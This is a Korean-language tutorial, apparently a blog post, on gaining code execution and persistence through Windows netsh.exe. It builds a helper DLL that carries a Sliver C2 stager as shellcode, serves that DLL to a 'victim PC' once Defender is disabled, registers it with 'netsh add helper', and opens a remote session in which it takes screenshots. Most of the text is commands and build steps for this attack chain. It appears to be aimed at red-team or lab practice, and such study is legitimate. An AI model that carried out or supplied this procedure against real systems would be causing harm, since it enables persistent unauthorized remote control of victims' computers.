netsh.exe (Sliver C2)
마이크로 소프트 netsh.exe를 이용한 코드 실행 방법
슬리버(Sliver)는 BishopFox사에서 제작/관리하고 있는 golang 기반의 오픈소스 C2 프레임워크다.
칼리 리눅스에서 설치는 다음과 같다.
curl https://sliver.sh/install|sudo bash
sliver 실행
sliver
sliver> help
sliver> profiles new --mtls 192.168.50.9 --format shellcode win-shellcode
sliver> stage-listener --url http://192.168.50.9:9001 --profile win-shellcode
http stager 에 대해 실행 중인 작업을 확인할수 있다.
sliver> jobs
sliver> generate stager --lhost 192.168.50.9 --lport 9001 --protocol http --save /tmp
https://github.com/outflanknl/NetshHelperBeacon 사이트로 가서 소스에 NetshHelperBeacon 폴더로 들어가자.
NetshHelperBeacon.cpp 을 클릭해서 열자.
raw 버튼 클릭한 후에 클립보드에 복사 하자.
windows 10 에 visual studio을 실행하자.
새프로젝트 생성하고 언어는 C++ 선택 하자.
dll 검색후 아래 그림과 같이 첫번째 선택 하면 된다.
프로젝트명은 netshhelper으로 하고 생성 버튼 클릭
dllmain.cpp
#include "pch.h"
위에 코드만 남기고 모두 삭제 하자.
위에서 복사한 코드를 붙여넣기 하자.
dllmain.cpp
system("start calc");
계산기 실행 부분 삭제 하자.
dllmain.cpp
#ifdef _M_X64
unsigned char buf[] = "...";
#else
unsigned char buf[] = "...";
#endif
2행만 남기고 모두 삭제 하자.
칼리 리눅스로 돌아가서 nim 이 설치되어 있지 않으면 nim programming language 를 설치하자.
sudo apt install nim
sudo apt install build-essential
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
nano ~/.profile
.profile 을 열어서 파일의 끝에 아래 내용을 추가 하자.
export PATH=/home/user/.nimble/bin:$PATH
export PATH 부분은 위의 내용이 아니라 터미널에 출력 되는 내용을 복사해서 추가하자.
적용하고 nim 버젼을 확인하자.
source ~/.profile
nim -v
binnim 을 설치하자.
먼저 git 에서 다운로드 하자.
git clone https://github.com/JohnHammond/binnim.git
binnim 은 파일의 내용을 `\x` hex representation로 반환한다.
이 툴의 목적은 shellcode binary 파일로 부터 string을 얻기 위함이다.
컴파일하자.
nimble build
설치하자.
nimble install
./binnim --help
실행해서 클립보드로 복사하자.
./binnim /tmp/SOUND_SHELL | xclip -selection clipboard
xclip 이 없다면 설치하자.
sudo apt update
sudo apt install xclip -y
클립보드에 복사를 했으면 윈도우 10 으로 돌아와서 비주얼 스튜디오를 열고 dllmain.cpp를 수정하자.
unsigned char buff[] 에 복사한 내용을 붙여녛기 하자.
Release 로 빌드하자.
여기서 비쥬얼 스튜디오 기본설정으로 빌드한 dll을 비주얼 스튜디오가 설치되 있지 않은 다른 윈도우 10에서 실행하면 netsh가 dll을 로드 하지 못한다.
아래 그림에서 속성을 클릭하고
c/c++ > 코드 생성 > 런타임 라이브러리 부분을 아래와 같이 설정한다.
참고로 실행파일이 필요로 하는 dll을 확인하기 위한 툴이 있다.
http://www.dependencywalker.com
터미널에서 아래 폴더로 이동한후 웹서버를 실행하자.
cd C:\Users\netwa\source\repos\netshhelper\x64\Release
python -m http.server
이제 피해자 pc 로 이동해서 브라우저에서 netshhelper.dll을 다운로드 하자.
이때 윈도우즈 defender 을 미리 꺼두자.
처음 설치하는 과정에서는 AMSI를 Bypass 하지 못한다.
그 이후에는 defender 나 다른 백신을 돌려도 문제가 없는것 같다.
피해자 pc 에서 다음을 실행하자.
netsh add helper C:\netsh-test\netshhelper.dll
이때 netsh 는 레지스트리를 수정하므로 관리자 권한이 있어야 한다.
regedit 실행해서 레지스트리를 검색하면 컴퓨터\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh 에 netshhelper 부분에 dll 파일의 경로가 설정된 것을 확인할수 있다.
칼리 리눅스에서 리스너를 실행하자.
sliver> mtls
sliver> jobs
피해자 pc 에서 netsh 를 실행하자.
netsh
칼리 리눅스에서 연결된 세션을 볼수 있다.
sliver> use [session]
위에 session 이 연결될때 연결 정보가 터미널에 출력된다.
일부분을 입력하고 tab 키를 입력하면 자동완성 된다.
연결된후 help 명령을 이용하면 가능한 명령들을 확인할수 있다.
sliver> help
sliver> screenshot
저장된 example.png 파일을 실행해보자.
sliver> ristretto example.png